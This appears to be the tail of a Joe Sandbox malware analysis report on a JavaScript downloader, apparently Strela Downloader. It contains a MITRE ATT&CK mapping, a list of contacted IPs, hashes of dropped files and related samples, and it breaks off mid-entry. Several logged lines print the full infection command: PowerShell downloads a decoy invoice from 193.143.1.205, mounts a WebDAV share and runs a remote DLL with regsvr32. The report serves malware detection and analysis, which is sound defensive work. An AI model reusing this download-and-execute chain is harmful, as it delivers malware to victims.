Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\20509307942337.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\20509307942337.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Exploitation for Client Execution	1 DLL Side-Loading	1 DLL Side-Loading	31 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	2 PowerShell	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	31 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	22 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
289215992948720779.js	3%	Virustotal		Browse
289215992948720779.js	0%	ReversingLabs

Source	Detection	Scanner	Label
http://193.143.1.205/invoice.php	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/T	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/%Us	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/l	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	217.20.57.21	true	false		high
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://g.live.com/odclientsettings/ProdV21C:	svchost.exe, 00000009.00000003.1394553009.00000289F7AE0000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	false		high
http://crl.ver)	svchost.exe, 00000009.00000002.2625515987.00000289F7C8C000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.8.dr	false		high
https://www.adobe.co	ReaderMessages.5.dr	false		high
https://g.live.com/odclientsettings/Prod1C:	qmgr.db.9.dr	false		high
http://193.143.1.205:8888/T	net.exe, 00000007.00000002.1395637347.000002140B59D000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1394586988.000002140B59D000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/%Us	net.exe, 00000007.00000002.1395637347.000002140B568000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/	net.exe, 00000007.00000002.1395637347.000002140B59D000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1391288695.000002140B5BD000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1395637347.000002140B58D000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1394586988.000002140B59D000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1394586988.000002140B590000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1395832845.000002140B5C5000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1395637347.000002140B568000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1394741879.000002140B5C4000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/l	net.exe, 00000007.00000002.1395637347.000002140B59D000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1394586988.000002140B59D000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1587534
Start date and time:	2025-01-10 14:31:08 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 6s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	19
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	289215992948720779.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/57@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 184.28.88.176, 162.159.61.3, 172.64.41.3, 184.28.90.27, 2.23.197.184, 217.20.57.21, 2.16.168.107, 2.16.168.105, 2.22.242.123, 2.22.242.11, 13.107.246.45, 52.22.41.97, 20.12.23.50, 96.17.64.171, 20.109.210.53
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, time.windows.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
08:32:13	API Interceptor	21x Sleep call for process: powershell.exe modified
08:32:17	API Interceptor	1x Sleep call for process: net.exe modified
08:32:17	API Interceptor	2x Sleep call for process: svchost.exe modified
08:32:25	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	1947415746274847548.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	10848104561916132198.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	145332287313130856.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	67073968285385405.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	3144522639186114061.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2012713416258531948.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	1947415746274847548.js	Get hash	malicious	Strela Downloader	Browse	84.201.210.18
	OTTIMAX RFQ BID1122263.xlsx	Get hash	malicious	Unknown	Browse	84.201.210.39
	gem2.exe	Get hash	malicious	Xmrig	Browse	217.20.57.35
	Appraisal-nation-Review_and_Signature_Request46074.pdf	Get hash	malicious	Unknown	Browse	84.201.210.39
	JB#40044 Order.exe	Get hash	malicious	MassLogger RAT	Browse	217.20.57.25
	82eqjqLrzE.exe	Get hash	malicious	AsyncRAT	Browse	217.20.57.23
	Solara.exe	Get hash	malicious	Unknown	Browse	217.20.57.35
	Sales Acknowledgement - HES #982323.pdf	Get hash	malicious	Unknown	Browse	84.201.210.39
	file_83f986ef2d0592ef993924a8cc5b8d6a_2025-01-07_10_04_01_718000.zip	Get hash	malicious	Unknown	Browse	217.20.57.36
	Setup.exe	Get hash	malicious	LummaC	Browse	217.20.57.18

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	1947415746274847548.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	10848104561916132198.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	145332287313130856.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	67073968285385405.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	3144522639186114061.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2012713416258531948.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	new.bat	Get hash	malicious	Unknown	Browse	193.143.1.95
	987113922297181060.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.231
	987113922297181060.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.231
	177183177683425839.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.231

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.706707273355935
Encrypted:	false
SSDEEP:	1536:2JPJJ5JdihkWB/U7mWz0FujGRFDp3w+INKEbx9jzW9KHSjoN2jucfh11AoYQ6VqI:2JIB/wUKUKQncEmYRTwh0U
MD5:	2916CC12BDB6229B6514AC2801AA8F91
SHA1:	6E7D9720B8983D4D4221CE9325501D57F020AE32
SHA-256:	2B5B9BAFCDAB150B000020B843DF7F0DA03CA44D488973634C89FA2A02E827CC
SHA-512:	189D994D558642561EF1F5D3E7AB25C392EB11E07C2ED8DFDB364B870EAC48F163D2676A35409E9C2BD80B57399F8CCCB91553E036D2D8219A11B2EABAB30A92
Malicious:	false
Preview:	...........@..@.+...{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@.................................u.f!.Lz3.#.........`h.................h.......0.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x879951c2, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7899928073430147
Encrypted:	false
SSDEEP:	1536:LSB2ESB2SSjlK/JvED2y0IEWBqbMo5g5FYkr3g16k42UPkLk+kq+UJ8xUJoU+dzV:LazaPvgurTd42UgSii
MD5:	DC8437F2C3717768E4559DB969D9C7E5
SHA1:	D5917DDBB527FF1CB74153B1E2D1E78DD785924E
SHA-256:	9B0D71B2DC9B9215E5A0E44995F2E6F60355081245CB82553E1FDD180610457A
SHA-512:	162D4135F8D24B9CE8DAB0D824390725ABB3B00B89B221BDCE1792DCACF9BB5F29F938C5DBDD98164150C0C86D66C042706EB9BFCA4523270F22D05A4C551D10
Malicious:	false
Preview:	..Q.... ...............X\...;...{......................0.`.....42...{5.. ...}s.h.b.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........+...{...............................................................................................................................................................................................2...{....................................... ...}..................R.I.. ...}M..........................#......h.b.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.08190641391245886
Encrypted:	false
SSDEEP:	3:uC//EYeDSvtgGqt/57Dek3Ji0F3lAllEqW3l/TjzzQ/t:uS8zDcSHR3tXbAmd8/
MD5:	B2FEBEDE3ADE7C6FB431B23BCFE33F82
SHA1:	739DA4C21AB52DDF6CEDBF7F68ADE164FCA9E194
SHA-256:	263FF1D57E58BD2061F042F3ABBF5A882290CAB21FFFB0A248D0DD0CB3027087
SHA-512:	743292CFCE553A755ED1BD1E9B4BCFCEB2A12F498AA2866BA028D64C04B9EC232972D7519BC404745C2F56C17F4749B91B23529C0B3B4CDA9F81C2A8FEC2D7F8
Malicious:	false
Preview:	8.v......................................;...{... ...}M.42...{5.........42...{5.42...{5...Y.42...{59................R.I.. ...}M.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	300
Entropy (8bit):	5.2274247817003845
Encrypted:	false
SSDEEP:	6:iO4od+Njq2PcNwi2nKuAl9OmbnIFUtSod+ejZZmwsod+ejzkwOcNwi2nKuAl9Omt:7vWjvLZHAahFUtRr9/7rP54ZHAaSJ
MD5:	CD2991734F68B297777DCE0FBAD747B2
SHA1:	0B3A3FD4CDA100EB962FD183F523B7FACD1A67C1
SHA-256:	148B2BFE3AAAAFCCD323CEEF40922C6F81F604364AC616CAF7C3E37B4DDEFE13
SHA-512:	03CB9F6D50D4AB055796CA1394024EB4721364D2ACC22819C15A9009EAAA2B8A6E675AB45646A8613AB7366395B23B6B1179952DDBC0CCB122F2A30CF2384A6A
Malicious:	false
Preview:	2025/01/10-08:32:17.156 1c34 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-08:32:17.158 1c34 Recovering log #3.2025/01/10-08:32:17.158 1c34 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	300
Entropy (8bit):	5.2274247817003845
Encrypted:	false
SSDEEP:	6:iO4od+Njq2PcNwi2nKuAl9OmbnIFUtSod+ejZZmwsod+ejzkwOcNwi2nKuAl9Omt:7vWjvLZHAahFUtRr9/7rP54ZHAaSJ
MD5:	CD2991734F68B297777DCE0FBAD747B2
SHA1:	0B3A3FD4CDA100EB962FD183F523B7FACD1A67C1
SHA-256:	148B2BFE3AAAAFCCD323CEEF40922C6F81F604364AC616CAF7C3E37B4DDEFE13
SHA-512:	03CB9F6D50D4AB055796CA1394024EB4721364D2ACC22819C15A9009EAAA2B8A6E675AB45646A8613AB7366395B23B6B1179952DDBC0CCB122F2A30CF2384A6A
Malicious:	false
Preview:	2025/01/10-08:32:17.156 1c34 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-08:32:17.158 1c34 Recovering log #3.2025/01/10-08:32:17.158 1c34 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	344
Entropy (8bit):	5.191231998260982
Encrypted:	false
SSDEEP:	6:iO4odbJN4q2PcNwi2nKuAl9Ombzo2jMGIFUtSodorJZmwsodNL3DkwOcNwi2nKuA:7vx4vLZHAa8uFUtRarJ/7/L3D54ZHAaU
MD5:	F2CBDAF67B71A624A8115D92DFE5D989
SHA1:	5666FC32DE6D0B26445C53BB015B9D2439A406B5
SHA-256:	5176DF08A60E7F659DB2197A591CB596ECD8108BF6364A312E90BD08FBE49D28
SHA-512:	A20FEFB8A617C976657460895AB4162C13661C4B62B0163B854762A451F132CD568609F501FAD477BC75946E3CF2507B8385EF92831C89B8BBC996363B61BC26
Malicious:	false
Preview:	2025/01/10-08:32:17.272 1cb4 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-08:32:17.273 1cb4 Recovering log #3.2025/01/10-08:32:17.274 1cb4 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	344
Entropy (8bit):	5.191231998260982
Encrypted:	false
SSDEEP:	6:iO4odbJN4q2PcNwi2nKuAl9Ombzo2jMGIFUtSodorJZmwsodNL3DkwOcNwi2nKuA:7vx4vLZHAa8uFUtRarJ/7/L3D54ZHAaU
MD5:	F2CBDAF67B71A624A8115D92DFE5D989
SHA1:	5666FC32DE6D0B26445C53BB015B9D2439A406B5
SHA-256:	5176DF08A60E7F659DB2197A591CB596ECD8108BF6364A312E90BD08FBE49D28
SHA-512:	A20FEFB8A617C976657460895AB4162C13661C4B62B0163B854762A451F132CD568609F501FAD477BC75946E3CF2507B8385EF92831C89B8BBC996363B61BC26
Malicious:	false
Preview:	2025/01/10-08:32:17.272 1cb4 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-08:32:17.273 1cb4 Recovering log #3.2025/01/10-08:32:17.274 1cb4 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.969516568575897
Encrypted:	false
SSDEEP:	12:YH/um3RA8sq9ShsBdOg2Hxtcaq3QYiubSpDyP7E4TX:Y2sRds6dMHe3QYhbSpDa7n7
MD5:	5E3399860E4923BB031C7D70FA32FA21
SHA1:	6901BE970FE027138D46E541E55D2FE39768F571
SHA-256:	70A22BE68C35475614BFEC44ED29972A6FBDEFD0B5D57F643C0116301A3194D5
SHA-512:	0424BC6F5F0DB7E5D6E02BF6CC7F647154FDD81E0A1079DF9FBBE3E6DA4A72B40199F1D8D51E3CED2378854782D9141018E00953C7A6C7304E8490839DF4DFF1
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381075948900394","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":135884},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.7","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\e66a1b69-2485-4a40-8949-1ca7f6d2f0a1.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.969516568575897
Encrypted:	false
SSDEEP:	12:YH/um3RA8sq9ShsBdOg2Hxtcaq3QYiubSpDyP7E4TX:Y2sRds6dMHe3QYhbSpDa7n7
MD5:	5E3399860E4923BB031C7D70FA32FA21
SHA1:	6901BE970FE027138D46E541E55D2FE39768F571
SHA-256:	70A22BE68C35475614BFEC44ED29972A6FBDEFD0B5D57F643C0116301A3194D5
SHA-512:	0424BC6F5F0DB7E5D6E02BF6CC7F647154FDD81E0A1079DF9FBBE3E6DA4A72B40199F1D8D51E3CED2378854782D9141018E00953C7A6C7304E8490839DF4DFF1
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381075948900394","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":135884},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.7","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	4099
Entropy (8bit):	5.237071524584666
Encrypted:	false
SSDEEP:	96:CwNwpDGHqPySfkcr2smSX8I2OQCDh28wDtPKNljjtpP:CwNw1GHqPySfkcigoO3h28ytP+ltpP
MD5:	44C11828D249D5A74E7549A2525AA32E
SHA1:	6009AED2F59B9F07CAAC4F8F1A870072A2E62561
SHA-256:	1DAE53661B1F5A59720C1783DCECD61192F6F9FA7740A999C9F2F1F5A7729589
SHA-512:	E6439204B5BA6B2F66E8128C05BBF57B15B0DCE84C3F28FB285C889674CAD45B7633DCB976B642E4AC691E11B0919FD6F6C74467ED7E1A42FDC65BE38AF9A892
Malicious:	false
Preview:	...#................version.1..namespace-.aw.o................next-map-id.1.Pnamespace-aa11265e_f35e_4e5d_85db_f163e1c0f691-https://rna-resource.acrobat.com/.0I.$.r................next-map-id.2.Snamespace-9a9aa6d6_c307_4dda_b6c0_dc91084c8e68-https://rna-v2-resource.acrobat.com/.1!...r................next-map-id.3.Snamespace-1fbd9dc5_70a3_4975_91b4_966e0915c27a-https://rna-v2-resource.acrobat.com/.2..N.o................next-map-id.4.Pnamespace-0e0aed8d_6d6f_4be0_b28f_8e02158bc792-https://rna-resource.acrobat.com/.3.z.o................next-map-id.5.Pnamespace-52652c26_09c2_43f2_adf7_da56a1f00d32-https://rna-resource.acrobat.com/.4.{.^...............Pnamespace-aa11265e_f35e_4e5d_85db_f163e1c0f691-https://rna-resource.acrobat.com/.C..r................next-map-id.6.Snamespace-3a89c6b0_72b9_411a_9e44_fa247f34ac91-https://rna-v2-resource.acrobat.com/.5.q._r................next-map-id.7.Snamespace-02b23955_9103_42e0_ba64_3f8683969652-https://rna-v2-resource.acrobat.com/.6..d.o..............

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	332
Entropy (8bit):	5.214534641055884
Encrypted:	false
SSDEEP:	6:iO4odpL4q2PcNwi2nKuAl9OmbzNMxIFUtSod23JZmwsod3DkwOcNwi2nKuAl9Omk:7v/4vLZHAa8jFUtRE3J/7tD54ZHAa84J
MD5:	7CF2C18634482E4241E9764EFB28735A
SHA1:	08BBA26AFA09229C1213F55157D53F5AFF76B052
SHA-256:	FBA8EBCA8F9AF11C97B2B24E285A97819792BCCE1C9A7FC50563D2A50A252767
SHA-512:	97DC19CC8FFB3E5820B8835C0DCAECF2BA2D61DAB35E13D6F1FFEF5BB65130D3F25D9F830EFB3924A6550CE0667D133A399BF9008586427F55AF3150705321B1
Malicious:	false
Preview:	2025/01/10-08:32:17.483 1cb4 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-08:32:17.484 1cb4 Recovering log #3.2025/01/10-08:32:17.485 1cb4 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	332
Entropy (8bit):	5.214534641055884
Encrypted:	false
SSDEEP:	6:iO4odpL4q2PcNwi2nKuAl9OmbzNMxIFUtSod23JZmwsod3DkwOcNwi2nKuAl9Omk:7v/4vLZHAa8jFUtRE3J/7tD54ZHAa84J
MD5:	7CF2C18634482E4241E9764EFB28735A
SHA1:	08BBA26AFA09229C1213F55157D53F5AFF76B052
SHA-256:	FBA8EBCA8F9AF11C97B2B24E285A97819792BCCE1C9A7FC50563D2A50A252767
SHA-512:	97DC19CC8FFB3E5820B8835C0DCAECF2BA2D61DAB35E13D6F1FFEF5BB65130D3F25D9F830EFB3924A6550CE0667D133A399BF9008586427F55AF3150705321B1
Malicious:	false
Preview:	2025/01/10-08:32:17.483 1cb4 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-08:32:17.484 1cb4 Recovering log #3.2025/01/10-08:32:17.485 1cb4 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
